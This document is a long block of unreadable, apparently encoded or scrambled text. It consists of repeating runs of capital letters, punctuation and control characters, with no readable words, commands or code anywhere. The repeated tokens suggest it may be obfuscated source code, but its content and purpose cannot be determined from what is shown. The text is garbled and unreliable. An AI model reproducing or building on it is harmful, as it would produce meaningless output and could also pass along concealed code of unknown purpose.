IV	SWFXO\QQ[F5D5MZKJMQVXM][PQ]Y\LEFRTLZZP[KSEMJUFMM^[
IV	SWFXO\QQ[F5555B555YJQ\KVPQXRYYX^KHXMKYV`PNV
W	5D5VYVH`INEO^FN]EXYV`PNV
W	CCYV`PNV
W	CC[ZYVQZ[]]W	SFT[SO[QS		MZKJMQY^SLZ5LK^KV\`EH	SGFXYYMQJSS5VY`EH	SGFXYYMQJSSD5hoo^M^XM^OW}SP\TMZSZ^LZ[ZNJZ5ZIPVWWTVKHWowo`r~upm`izmlvpqYO\GI^]
U^ZIPVWWTVKHW5`EH	SGFXYYM^MM^F5PLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L
VH`INEO^FN]EX5PLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EXEFRTLZZP[K55B5YPMZ^\W`EH	SGFXYYM^LMJPZYETXGDTOSSOW
\JJRYGXFN`^Y]TOSSOW
\JJ5VYVXM][PQ]Y\LYV`PNV
W	MJPZYETXGY^SLZMZKJMQKMJZ5B5MZKJMQY^SLZ5B5YJQ\KVPQZGG	\WXNQQGXV	SWFXO\QQ[F55DS\OLEZZNLT]IZQO^TEQ	NS\OLEZZNLT]5MZKJMQPLZOO]ZZSGMJWJQVNV[LKMVQXEFRTLZZP[KKMJZV	SWFXO\QQ[F5555B5YJQ\KVPQL]YEHO\`ZKOM]SLZN	QSGTU\Z5D5VY]]W	SFT[SO[QS	VH`INEO^FN]EX	MZKJMQY^SLZ5555T	[TEU\YLW
XZK`POKVPQVH`INEO^FN]EX^MM^FR]XWYXWIZ

ZO\HGQR]XWYXWIZ5VY]]W	SFT[SO[QS
T	[TEU\YLW
MZKJMQY^SLZ5ZJ`YKM
U	]
VH`INEO^FN]EXQSGTU\Z5555VYZROKFT	[TEU\YLW
dZJ`YKM
U	]
bMZKJMQY^SLZ5YS]Y^ERQVMPVXM][PQ]Y\LCLKMVQXT	[TEU\YLW
dZJ`YKM
U	]
b5OGUXMHZSKVLLZKYS]Y^ERQVMPdb VQKYS]Y^ERQVMPdbF\Q
[TJTM	
	JI	GV	F\Q
[TJTM5MZKJMQOGUXMHZSK]]W	SFT[SO[QSOGUXMHZSKGZ\\G	][5B5YJQ\KVPQQQMP[[
VNPQSGTU\Z]NLQ
ULE5D5VYVXM][PQ]Y\L	VXM][PQ]Y\L	CCVH`INEO^FN]EX
VXM][PQ]Y\L	MZKJMQ5T	[TEU\YLW
XZK`POKVPQEFRTLZZP[K^MM^F5VYVXM][PQ]Y\L
T	[TEU\YLW
T	[TEU\YLW
^MM^F5ZJ`YKM
U	]
VXM][PQ]Y\LQSGTU\Z55VY]NLQ
ULED5VYVLLZKT	[TEU\YLW
dZJ`YKM
U	]
bD5JQLZKT	[TEU\YLW
dZJ`YKM
U	]
b5JO[^KZ`POKVPQ]]W	SFT[SO[QST	[TEU\YLW
5B5MZKJMQ5B5555RURMZLVT]XJI5VYZROKFT	[TEU\YLW
dZJ`YKM
U	]
bD5YS]Y^ERQVMPVXM][PQ]Y\LCLKMVQXT	[TEU\YLW
dZJ`YKM
U	]
b5RURMZLVT]XJIVQKYS]Y^ERQVMPdb55B5RURMZLVT]XJI5OGUXMHZSKRURMZLVT]XJI	 VH`INEO^FN]EX5YPMZ^\WT	[TEU\YLW
^LNZUE
TS`^LZZY	Z]YQNU]D5YV`PNV
W	]]W	SFT[SO[QSCLKMVQXLZZY	Z]YQNU]5VYZROKFYV`PNV
W	dbEFRTLZZP[KVQKYV`PNV
W	dbGYGJQLZKT	[TEU\YLW
dNZUE
TS`^b5B5555T	[TEU\YLW
dZJ`YKM
U	]
bRURMZLVT]XJICOGUXMHZSK5JO[^KZ`POKVPQVH`INEO^FN]EXT	[TEU\YLW
5B5YJQ\KVPQQ	NOJUJQ\GVQSGTU\ZJE
LJZPLW]V^T555D555VYVXM][PQ]Y\LJE
LJZPLW]V^TMZKJMQ5555\U``OVN[HOJZ\`		MQ\[[WOJT`	\G	]]W	SFT[SO[QSQSGTU\ZVXM][PQ]Y\L5VY\U``OVN[HOJZY^SLZD5VYVH`INEO^FN]EX\U``OVN[HOJZJE
LJZPLW]V^TVH`INEO^FN]EXJE
LJZPLW]V^TWMSI
EU]HJ`TO\U``OVN[HOJZQSGTU\ZMZKJMQ55VFSMLJMN\IFZNQ\U``OVN[HOJZ555B5EFRTLZZP[KQSGTU\ZJE
LJZPLW]V^T5B55YJQ\KVPQL]NY]EJ\QQ
ILGUVGOQSGTU\ZIXVKZ
OWL`GW5555D5MOTSTJ\LVXM][PQ]Y\LQSGTU\Z5VYEFRTLZZP[KMOTSTJ\LD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EXEFRTLZZP[KQSGTU\Z5MZKJMQY^SLZ555B5JM^YJVNQ	]]W	SFT[SO[QSQSGTU\ZGGVH`INEO^FN]EX5VYJM^YJVNQ	IE[
QM[VN\`]\E]JIXVKZ
OWL`GWD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K
VXM][PQ]Y\LQSGTU\Z5MZKJMQY^SLZ5B5VYJM^YJVNQ	L]YEHO\`ZKOM]SLZN	QSGTU\ZMZKJMQY^SLZ5GPH``EQ	Y^SLZ5VYVH`INEO^FN]EX	QSGTU\ZGPH``EQ	KMJZ5JE
LJZPLW]V^TQJSSSU	XXF
PLLowo`vqk`r~gowo`vqk`r~gIRMYSTMYZG	SU	XXF
PLL5GYTGXYSTY^SLZ5ZH	H\
JQJSS5VYVXM][PQ]Y\L	QSGTU\ZVXM][PQ]Y\L	QSGTU\ZD5GYTGXYSTKMJZ5ZH	H\
JYVSZOZMRLQSGTU\Z5VYZH	H\
JY^SLZZH	H\
JQJSS5VYVH`INEO^FN]EXQSGTU\ZGYG	ZZYJE
LJZPLW]V^T]]W	SFT[SO[QS	QSGTU\Z5555B5VY]]W	SFT[SO[QS
]]W	SFT[SO[QS	D5PTG]`[M\TJL[^FSJEFRTLZZP[KVH`INEO^FN]EXEFRTLZZP[KQSGTU\Z5MZKJMQY^SLZ5B555R	[\YMLTV^\T\QLY^SLZ5Y\\E^H]S[P	Y^SLZ5`\SEFRTLZZP[KIXVKZ
OWL`GW5YPMS\	R][XMUKS\	R][XMUKS\	R][XMUKD5R	[\YMLTV^\T\QL\`		MQ\[[WOJT`	\G	MOTSTJ\LEFRTLZZP[K5VYR	[\YMLTV^\T\QLY^SLZD5Y\\E^H]S[P	Y^SLZ5YV`PNV
W	VH`INEO^FN]EXR	[\YMLTV^\T\QLVXM][PQ]Y\L5VYYV`PNV
W	Y^SLZD5QMN`[UG5HWVSZQMN`[UG`\SD555X`PPQK^IEY]EFRTLZZP[KYV`PNV
W	EFRTLZZP[KIXVKZ
OWL`GWQMN`[UG5VYX`PPQK^IEY]Y^SLZCCX`PPQK^IEY]]MZ^T5QMN`[UGX`PPQK^IEY]5B5YYSJLWYV`PNV
W	5LOZ\V^SVEZ^XXMZX^KPM5V^H
YT
RC	ZZIZLH[F]PV^H
YT
Ra	5VYVH`INEO^FN]EXVXM][PQ]Y\LYLFQ\YV`PNV
W	QZHWIX\SKN	]JLIWWRQZHWIX\SKN QZHWIX\SKNQZHWIX\SKN5Y\SPLZYV`PNV
W	5VYQMN`[UG`\SY\\E^H]S[P	QMN`[UG5BZSLZD555Y\\E^H]S[P	EFRTLZZP[K
R	[\YMLTV^\T\QLIXVKZ
OWL`GW55B5VQSVQZ\^\WZ55VYY\\E^H]S[P	Y^SLZY\\E^H]S[P	`\S]MZ^T5VFSMLJMN\IFZNQR	[\YMLTV^\T\QL5555R	[\YMLTV^\T\QLY^SLZ555B5555B5VYR	[\YMLTV^\T\QLY^SLZD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSEFRTLZZP[K	]]W	SFT[SO[QSQSGTU\Z5MZKJMQY^SLZ5B5555VYY\\E^H]S[P	Y^SLZCCY\\E^H]S[P	`\SD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVXM][PQ]Y\L]]W	SFT[SO[QSQSGTU\Z5VFSMLJMN\IFZNQR	[\YMLTV^\T\QL5MZKJMQY^SLZ5B5VYZH	H\
JQJSSVXM][PQ]Y\L	R	[\YMLTV^\T\QLZH	H\
J555IJSTVYEKNXEI^WMSI
EU]HJ`TOR	[\YMLTV^\T\QLQSGTU\Z5VYIJSTVYEKNXEI^GYTGXYSTGPH``EQ	D5VY]]W	SFT[SO[QS	QSGTU\ZNNKZM`SOUHJYLELIV\ZQSGTU\Z	5EZ[IQEV^^N\`ZQSGTU\ZVH`INEO^FN]EXVH`INEO^FN]EXGG5VYWMSI
EU]HJ`TOQSGTU\ZEZ[IQEV^^N\`ZD5IJSTVYEKNXEI^WMSI
EU]HJ`TOR	[\YMLTV^\T\QLQSGTU\Z5VYIJSTVYEKNXEI^D55VFSMLJMN\IFZNQEZ[IQEV^^N\`Z55BZSLZD5L^KVLYV^]SZ]^\TSPX555VYWMSI
EU]HJ`TOEZ[IQEV^^N\`ZQSGTU\ZYPEJH	XHMVG^EZ[IQEV^^N\`ZQSGTU\ZD5Q	NOJUJQ\GVQSGTU\ZJE
LJZPLW]V^T5B5olm
RV[[SZH^MZSVQZ^M^[U]M^Q[Z[KFOZ55VYVH`INEO^FN]EX	QSGTU\ZD5Q	NOJUJQ\GVQSGTU\ZJE
LJZPLW]V^T5B555B555B5B555VYIJSTVYEKNXEI^GPH``EQ	JM^YJVNQ	D5555VY]]W	SFT[SO[QS	QSGTU\ZNNKZM`SOUHJYLELIV\ZQSGTU\Z5VYYPEJH	XHMVG^R	[\YMLTV^\T\QLQSGTU\ZD5IJSTVYEKNXEI^KMJZ5VFSMLJMN\IFZNQR	[\YMLTV^\T\QLQU`TME	WWIFXPYFP`QU`TME QU`TMEQU`TME5B5B5555VYIJSTVYEKNXEI^D5VY]]W	SFT[SO[QS	QSGTU\ZVQKVXM][PQ]Y\LQSGTU\Z`\SDQ\XXR	GNYPYEG[RSWMQ\XXR	G5\
E[LV
]V`VXM][PQ]Y\LQSGTU\Z55VYVH`INEO^FN]EX\
E[LV
]V`CCEFRTLZZP[KJE
LJZPLW]V^T\
E[LV
]V`JE
LJZPLW]V^TD5VY]]W	SFT[SO[QSJE
LJZPLW]V^TQ	NOJUJQ\GVQSGTU\ZJE
LJZPLW]V^T555ZSLZVYGYTGXYSTVFSMLJMN\IFZNQQSGTU\Z5holP\V^SsVQTLMZLOPQLVIZ]MZ^TOPVQK55B5JQLZK\
E[LV
]V`5B5VYEFRTLZZP[K	QSGTU\ZD5Q	NOJUJQ\GVQSGTU\ZJE
LJZPLW]V^T5B5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSVXM][PQ]Y\LVXM][PQ]Y\LQSGTU\Z5VFSMLJMN\IFZNQR	[\YMLTV^\T\QL5MZKJMQY^SLZ5B5555\SZ^MLK^K\^\WZKMJZQSGTU\Z55KH\KIHSQIJV^OY^SLZ555VY`\SD555KVL
PXEVH`INEO^FN]EX
QSGTU\Z555KH\KIHSQIJV^OVH`INEO^FN]EXKVL
PXEVH`INEO^FN]EXKVL
PXE`\S]]W	SFT[SO[QS	KVL
PXEVH`INEO^FN]EX	IXVKZ
OWL`GW5BZSLZD5YOO
EP	^HJ[EFRTLZZP[KVH`INEO^FN]EX W^LW`YVSZEFRTLZZP[K	QSGTU\ZY^SLZ5VYEFRTLZZP[KYOO
EP	^HJ[YOO
EP	^HJ[KH\KIHSQIJV^OYOO
EP	^HJ[]]W	SFT[SO[QS	IXVKZ
OWL`GW5ZSLZD5\^K\W]SP\T55HNT^JRVQH[FEFRTLZZP[KQSGTU\Z5VYHNT^JRVQH[F`\SD5ZP]\JKTRZEFRTLZZP[K
QSGTU\ZY^SLZQJSS
5`MKVH`INEO^FN]EX
QSGTU\ZY^SLZQJSS`\S5KH\KIHSQIJV^OVH`INEO^FN]EXZP]\JKTRZVXM][PQ]Y\L`MKZP]\JKTRZ]]W	SFT[SO[QSIXVKZ
OWL`GWGYG][`MKVXM][PQ]Y\LIXVKZ
OWL`GW`\S5555B5B5555B555VYKH\KIHSQIJV^OD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSEFRTLZZP[KVXM][PQ]Y\LQSGTU\Z5555VYJM^YJVNQ	QQMP[[
VNPQSGTU\ZKMJZ5VYVXM][PQ]Y\LJE
LJZPLW]V^TD5RZ[XWNZRTENEIEFRTLZZP[KVH`INEO^FN]EX W^LW`YVSZVXM][PQ]Y\L	QSGTU\ZY^SLZ5VYEFRTLZZP[KRZ[XWNZRTENEIRZ[XWNZRTENEIRZ[XWNZRTENEIVH`INEO^FN]EX	IXVKZ
OWL`GWRZ[XWNZRTENEIEFRTLZZP[K	JE
LJZPLW]V^TD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EX
EFRTLZZP[K	QSGTU\Z5MZKJMQY^SLZ555B5EK	VE	JER\`		MQ\[[WOJT`	\G	MOTSTJ\LVXM][PQ]Y\L5VYEK	VE	JERY^SLZ]]W	SFT[SO[QS
EK	VE	JERJE
LJZPLW]V^TEFRTLZZP[KJE
LJZPLW]V^TD5VYWMSI
EU]HJ`TOEK	VE	JERQSGTU\ZD5VYEFRTLZZP[K	QSGTU\ZGPH``EQ	NNKZM`SOUHJYLELIV\ZQSGTU\Z	
5VYGPH``EQ	YPEJH	XHMVG^EK	VE	JERQSGTU\ZD5VFSMLJMN\IFZNQEK	VE	JER5BZSLZD5EFRTLZZP[K
QSGTU\ZJE
LJZPLW]V^T5VFSMLJMN\IFZNQEK	VE	JER5B5B55BZSLZD5VYEK	VE	JERY^SLZVFSMLJMN\IFZNQEK	VE	JER5VH`INEO^FN]EXQSGTU\ZJE
LJZPLW]V^T55B5Q]QQGSPYJGTGQSFQSGTU\Z5BZSLZVYGYTGXYSTD5VFSMLJMN\IFZNQQSGTU\Z5B5MZKJMQY^SLZ5B5Q]QQGSPYJGTGQSFQSGTU\Z5ZUST[\KTSQSGTU\Z5NNKZM`SOUHJYLELIV\ZQSGTU\ZG	G5VYJM^YJVNQ	QQMP[[
VNPQSGTU\ZY^SLZ5MZKJMQKMJZ5B5YJQ\KVPQNU]EZNYSUQG`YLQSGTU\ZJ	MPIJ[WHWK5D5MZS^GZ[L\POZ\W^VQ555VRLXYOW OWOcQ5VYVH`INEO^FN]EXJ	MPIJ[WHWKJ	MPIJ[WHWKEFRTLZZP[KJ	MPIJ[WHWKVXM][PQ]Y\L
Y^SLZIE[
QM[VN\`]\E]JJ	MPIJ[WHWKVRLXYOWJ	MPIJ[WHWK5VYEFRTLZZP[KQSGTU\ZD5XW^MET]]W	SFT[SO[QS
QSGTU\Z5555VYVH`INEO^FN]EXXW^METUH`VLVJVW
UTUZXW^METVRLXYOWMZKJMQ555B555VYL]NY]EJ\QQ
ILGUVGOQSGTU\ZVRLXYOWD5PNMV
I\INVH`INEO^FN]EX
QSGTU\Z5VYEFRTLZZP[KPNMV
I\INUH`VLVJVW
UTUZPNMV
I\INVRLXYOWEFRTLZZP[KQSGTU\ZVRLXYOW5JQLZKPNMV
I\IN5B5Q]QQGSPYJGTGQSFQSGTU\Z5B5YJQ\KVPQWPP	K
``I	RO^KKR55D5VYVXM][PQ]Y\LEFRTLZZP[KI^WYY
\SQ`[JPSSLLMZKJMQKMJZ5VY]]W	SFT[SO[QSVXM][PQ]Y\LCCVH`INEO^FN]EXVXM][PQ]Y\LMZKJMQKMJZ5URU\O	[XYWPRZ`JMS5URU\O	[XYVXM][PQ]Y\LURU\O	[XY Y^SLZ  VXM][PQ]Y\L]]W	SFT[SO[QSVXM][PQ]Y\LGGG	G	5OUYP\PUYJ
	VH`INEO^FN]EXURU\O	[XY^MM^F]]W	SFT[SO[QS
aEFRTLZZP[K	Y^SLZEFRTLZZP[KEFRTLZZP[K^MM^F]]W	SFT[SO[QSEFRTLZZP[K
5VYEFRTLZZP[K
EFRTLZZP[KVL`HO`ZMMPMOUYP\PUYJ
	D5VY]]W	SFT[SO[QS
EFRTLZZP[KVH`INEO^FN]EX5OUYP\PUYJ
	VH`INEO^FN]EXURU\O	[XY^MM^FVH`INEO^FN]EX

VXM][PQ]Y\L	Y^SLZEFRTLZZP[KVH`INEO^FN]EX^MM^FEFRTLZZP[K]]W	SFT[SO[QS
55VYEFRTLZZP[K
EFRTLZZP[K
VL`HO`ZMMPMOUYP\PUYJ
	MZKJMQY^SLZ5B5T]UQZQ	[SVQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZOUYP\PUYJ
	FNI]WJMREPJ]XUEEFNI]WJ FNI]WJFNI]WJ5MZKJMQT]UQZQ	[S

T]UQZQ	[SGGY5B5YJQ\KVPQUGVYJRNKJZ^YQ[MS\]	L`
EENKXIQF^Y
GSQ^	`T5D5]UG^Y`	VM	^^YVXM][PQ]Y\L]]W	SFT[SO[QS	^Y
GSQ^	`T555YPMZ^\W5^MM^F5555VH`INEO^FN]EX

]UG^Y`	VM	^^Y]]W	SFT[SO[QS
	5EFRTLZZP[K
]UG^Y`	VM	^^YVH`INEO^FN]EX
	5]]W	SFT[SO[QS
]UG^Y`	VM	^^YVH`INEO^FN]EX
5^LUIYJQ
P
U^S]5D5VYVXM][PQ]Y\L]	L`
EENKXIQF]MZ^T5555]	L`
EENKXIQFVH`INEO^FN]EXUIYJQ
P
U^S]cQ]	L`
EENKXIQF5B5555MZKJMQ]	L`
EENKXIQFJR\VUTUG][
WSKZJR\VUTUG] JR\VUTUG]JR\VUTUG]5B5555YJQ\KVPQQ]QQGSPYJGTGQSF\PSHEGZS^P5D5VY]]W	SFT[SO[QS	VH`INEO^FN]EXD5MZKJMQPO\^\WZ`VQI^SV[^KZ\PSHEGZS^PKMJZY^SLZ5B5WJRXR
SK\HWREFRTLZZP[K	VH`INEO^FN]EX	 PO\^\WZ`XZK`LK^KJLY^SLZY^SLZ5MZKJMQEFRTLZZP[K
WJRXR
SK\HWRZROKFWJRXR
SK\HWRdVXM][PQ]Y\L	b5B5YJQ\KVPQKU[]NNG]VQJP^QSGTU\ZH^W`FKJFPHLLK`EENNW5D5VYEFRTLZZP[KQSGTU\Z]]W	SFT[SO[QSD5VYL]NY]EJ\QQ
ILGUVGOQSGTU\ZH^W`FKJFPHLLKD5PTG]`[M\TJL[^FSJ`EENNW]]W	SFT[SO[QS	EFRTLZZP[K	QSGTU\Z5MZKJMQY^SLZ5B5Q]QQGSPYJGTGQSFQSGTU\Z5MZKJMQ]]W	SFT[SO[QSH^W`FKJFPHLLK5555B5YV`PNV
W	VXM][PQ]Y\LQSGTU\ZVXM][PQ]Y\L	5VYYV`PNV
W	Y^SLZD5PTG]`[M\TJL[^FSJ`EENNWVH`INEO^FN]EX	VH`INEO^FN]EX	
QSGTU\Z5MZKJMQY^SLZL[GNL
L	^FVVG	ZL`L[GNL
L5B5VYEFRTLZZP[K	VXM][PQ]Y\L		YSP\TYV`PNV
W	sp|t`zg55OUYP\PUYJ
	]]W	SFT[SO[QS	YV`PNV
W	H^W`FKJFPHLLK5VYVH`INEO^FN]EX	]]W	SFT[SO[QS		YSP\TYV`PNV
W	sp|t`jq5Y\SPLZYV`PNV
W	5VYOUYP\PUYJ
	Y^SLZCCH^W`FKJFPHLLKOUYP\PUYJ
	EFRTLZZP[KH^W`FKJFPHLLKD5PTG]`[M\TJL[^FSJ`EENNW]]W	SFT[SO[QS	VH`INEO^FN]EX	
QSGTU\Z5555MZKJMQY^SLZ5B5MZKJMQOUYP\PUYJ
	5B5555YJQ\KVPQWMU	MNFS]YNP5D5OMP^\KVIZSVQZ^MKFOZ55KMFD5VY]]W	SFT[SO[QS	]]W	SFT[SO[QSCC]]W	SFT[SO[QS	]]W	SFT[SO[QS	D5H[UTRZFZS		VYXQJSS5MZKJMQ5B555VYXZK`KM^QLVZQKVH`INEO^FN]EXMZKJMQ5VYXZK`KM^QLVZQKVXM][PQ]Y\LMZKJMQ5LZK`KM^QLVZQKVXM][PQ]Y\L
	5H[UTRZFZS		VYXQJSS5VYVXM][PQ]Y\L	]]W	SFT[SO[QS[ZSZKZ`KM^QLVZQKEFRTLZZP[K5IN`PKFKONEFRTLZZP[K	VH`INEO^FN]EX LKMVQXW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VYIN`PKFKONEFRTLZZP[KEFRTLZZP[K
JLZMQ^RZ`ZGVLKLIN`PKFKOND5LZK`KM^QLVZQK]]W	SFT[SO[QS5555B5B\^K\WkWMPH^]SZSKQO
]K`D5OMPIVLVPQSZ^TF]J\TZK55PTG]`[M\TJL[^FSJVH`INEO^FN]EX	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D\ITH\GKQHYMV`\ITH\G5B5B5555YJQ\KVPQH[UTRZFZS		VYXPF[`]
VP\55D5VY\RVUG[

	SYRQHEFRTLZZP[KMZKJMQ5KMFD5VYVH`INEO^FN]EXEFRTLZZP[KCCVH`INEO^FN]EXVXM][PQ]Y\LD5MZKJMQ5B5^T
N	TTUUULKMVQXW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VY^T
N	TTUUUJLZMQ^RZ`ZGVLKL^T
N	TTUUULKMVQXW]VJIUHXHJMEQT``GVXM][PQ]Y\L
D5MZKJMQ5B5VY^T
N	TTUUUD5SVQZ^MVE^]SZLFQ\WMPQVEZM55555NSRRWJIQNSEFRTLZZP[KPF[`]
VP\ PF[`]
VP\`RTGUXJNWW
5V[
JV[`[FZLT
XNX`J\NEX]^X	KV[E`KNSRRWJIQNS5VY55V[
JV[`[FZLZROKFV[
JV[`[FZLJLZM`SPXVQVLLZKV[
JV[`[FZLJLZM`ZR^VS55V[
JV[`[FZLJLZM`ZR^VSV[
JV[`[FZLJLZM`SPXVQHXE\OLIFZTPN]Y]]W	SFT[SO[QS5D5^T
N	TTUUULKMVQXV[
JV[`[FZLJLZM`SPXVQ5B5B5VY^T
N	TTUUUJLZMQ^RZ`ZGVLKL^T
N	TTUUUD555LXR
VKSR`OH	JLZMQ^RZ`ZGVLKL^T
N	TTUUU5]VYNI^XE	KIO[ZGG	\WXNQQGX	
a5555VYVXM][PQ]Y\L]]W	SFT[SO[QSD5VH`INEO^FN]EX]VYNI^XE	KIO[LXR
VKSR`OH	5B55UE`SSEE	KFE^M[HQTRIEFRTLZZP[K^T
N	TTUUUEFRTLZZP[KJFMJKU
RJ]]VJJFMJKU5UE`SSEE	KFE^M[HQTRIVXM][PQ]Y\L
]VYNI^XE	KIO[EFRTLZZP[K5MZKJMQ5B5SY][]]J[W]VEK[EH	]^LXWGZPR5VYKMJZD5^T
N	TTUUU5YPMNQI]UVJ	R]Q`NQI]UVJ	R]Q`NQI]UVJ	R]Q`D5S\	R][XMUKSY][]]J[W]dVXM][PQ]Y\L
SY][]]J[W]bZGG	\WXNQQGXa5VYJLZMQ^RZ`ZGVLKLS\	R][XMUKD5^T
N	TTUUUS\	R][XMUK5]MZ^T5hoo^M^XM^OW}SP\T^KK^\WRZQKRZK^[^K^555B5B5VY^T
N	TTUUUD5OPLVKVIZ[ZYVQVKZ^[^OKZM55PTG]`[M\TJL[^FSJVXM][PQ]Y\L	VH`INEO^FN]EX5MZKJMQ5B5B5]VYNI^XE	KIO[ZGG	\WXNQQGX5VY]]W	SFT[SO[QSVXM][PQ]Y\L[ZYVQZ[EFRTLZZP[K		]]W	SFT[SO[QS~}lo~kw]]W	SFT[SO[QSD5mZ[VLP]UZ\K\^\WZP]UZ\KYVK5TUEQ^XLEUQUOETUEQ^XL5MZNJVMZ`PQ\Z~}lo~kwEFRTLZZP[K5B555M\X^YFQ	XT][^T
N	TTUUUHXE\OLIFZTPN]Y]]W	SFT[SO[QS5SJTIOUR`YOY^SLZ5VYVXM][PQ]Y\LVXM][PQ]Y\LD55SJTIOUR`YOEFRTLZZP[K^MM^F5555EFRTLZZP[K^T
N	TTUUU5EFRTLZZP[K]VYNI^XE	KIO[5VH`INEO^FN]EXM\X^YFQ	XT][5VH`INEO^FN]EX
VH`INEO^FN]EX	5]]W	SFT[SO[QS^T
N	TTUUU55VYVL`HO`ZMMPMSJTIOUR`YOD5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	SJTIOUR`YOXZK`ZMMPM`\P[ZSJTIOUR`YOXZK`ZMMPM`RZLL^XZ55SJTIOUR`YOY^SLZ555B5B55VYSJTIOUR`YOD5555HO[]VLLZKxsp}~sldVH`INEO^FN]EX	b xsp}~sldEFRTLZZP[K	bQJSS5VYHO[]CCVXM][PQ]Y\L	HO[]D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	EFRTLZZP[K5MZKJMQ5B5^FP	PV^
H
]]W	SFT[SO[QS]]W	SFT[SO[QS HO`W^LW`O^LLHPM[]VYNI^XE	KIO[VH`INEO^FN]EX	]VYNI^XE	KIO[5]N[INHGLUPJZSVH`INEO^FN]EXEFRTLZZP[K \JMMZQK`KVRZVXM][PQ]Y\LXR[^KZVXM][PQ]Y\L5W\]MR
	`^HO[]VQLZMKHO[]JLZML^MM^F5EFRTLZZP[K^T
N	TTUUU5VXM][PQ]Y\L^FP	PV^
H
5555EFRTLZZP[K^T
N	TTUUU5EFRTLZZP[KM\X^YFQ	XT][5VH`INEO^FN]EX
]N[INHGLUPJZS5VXM][PQ]Y\L	5555VXM][PQ]Y\L^T
N	TTUUU5555^MM^F]]W	SFT[SO[QSVH`INEO^FN]EX]]W	SFT[SO[QSVXM][PQ]Y\L]]W	SFT[SO[QSVH`INEO^FN]EXVH`INEO^FN]EX5VYW\]MR
	`^D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	]]W	SFT[SO[QS555MZKJMQ5555B5SJTIOUR`YOVQKHO[]VQLZMK`V[5G[MUF]ZTRHO[]OMZYVGEFRTLZZP[K5HO[]VQLZMKHO[]JLZMRZK^^MM^F55]]W	SFT[SO[QSSJTIOUR`YO5EFRTLZZP[KG[MUF]ZTR5VXM][PQ]Y\LVXM][PQ]Y\L	^MM^FEFRTLZZP[K	KMJZ5^MM^FEFRTLZZP[KVH`INEO^FN]EXEFRTLZZP[K555HO[]VQLZMKHO[]JLZMRZK^^MM^F5]]W	SFT[SO[QSSJTIOUR`YO5555VH`INEO^FN]EXHO[]OMZYVGEFRTLZZP[K5VH`INEO^FN]EX5^MM^FVH`INEO^FN]EX]]W	SFT[SO[QS
VXM][PQ]Y\L	5VYVXM][PQ]Y\LVH`INEO^FN]EXD5\SZ^Q`JLZM`\^\WZSJTIOUR`YO5B55B5VYJLZMQ^RZ`ZGVLKL^T
N	TTUUUD5PTG]`[M\TJL[^FSJVH`INEO^FN]EX]]W	SFT[SO[QS555MZKJMQ5B5555F\T`^M`N	H^
EMEFRTLZZP[K]]W	SFT[SO[QS XZK`JLZM`]FVXM][PQ]Y\L^T
N	TTUUUY^SLZ5OI]I	HE^GY^SLZ5VYF\T`^M`N	H^
EMZROKFF\T`^M`N	H^
EMv{D555VY]]W	SFT[SO[QS]]W	SFT[SO[QSD5OI]I	HE^G]PPSJLZM`\^QF\T`^M`N	H^
EMVXM][PQ]Y\L	5BZSLZVYVLLZKF\T`^M`N	H^
EM\^OLVH`INEO^FN]EXF\T`^M`N	H^
EM\^OLD5OI]I	HE^GZROKFF\T`^M`N	H^
EM\^OLd]]W	SFT[SO[QS	b5B5B5ho}SP\T~ovIXMZZ[F^\\JRJS^KPM555VYOI]I	HE^GD5PTG]`[M\TJL[^FSJEFRTLZZP[KVH`INEO^FN]EX5VYSJTIOUR`YOD5VYVH`INEO^FN]EX]]W	SFT[SO[QS
[ZYVQZ[EFRTLZZP[K	EFRTLZZP[K~}lo~kwVH`INEO^FN]EXD5MZNJVMZ`PQ\Z~}lo~kwEFRTLZZP[K5555B5VY]]W	SFT[SO[QSVXM][PQ]Y\L
HO`[ZSZKZ`JLZMSJTIOUR`YO5B5MZKJMQ5B5UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QS^T
N	TTUUUEFRTLZZP[K5UE`SSEE	KFE^M[HQTRIVH`INEO^FN]EX
]VYNI^XE	KIO[VXM][PQ]Y\L5B\^K\WkWMPH^]SZSKQO
]K`D5MZLKPMZZIZQKJ^SRZLL^XZNJZJZ555PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5BYVQ^SSFD5X
LWR^P]VF\M]]W	SFT[SO[QS5B5B55YJQ\KVPQU\`^IYSGF	YNGI^UMK	T`I5D5555KMFD55VY]]W	SFT[SO[QS	^UMK	T`ICCOMPOZMKF`ZGVLKL^UMK	T`IVH`INEO^FN]EXD55MZKJMQ^UMK	T`I555B55555^T
N	TTUUUVH`INEO^FN]EXVH`INEO^FN]EX LKMVQXW]VJIUHXHJMEQT``GEFRTLZZP[K5VY^T
N	TTUUUD55MZKJMQ^UMK	T`I5B55G]K
NJNEUZL\`LNS^T
N	TTUUU5VYVXM][PQ]Y\L^UMK	T`INJZMF`HWZMZG]K
NJNEUY^SLZD5^UMK	T`INJZMF`HWZMZVH`INEO^FN]EXG]K
NJNEU5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5555B555MZKJMQ^UMK	T`I5B5YJQ\KVPQU\]OOXI	ZTTOWEULL\I]XJ\H`5555D5[ZXZQZM^KZKMJLK^Q\WPM55KMFD5IN`PKFKONEFRTLZZP[KEFRTLZZP[K LKMVQXW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VYIN`PKFKOND5V[ZQKVKF\PRO^MVLPQ55MZKJMQULL\I]XJ\H`5B5QW[^YSG\K^MM^FEFRTLZZP[K
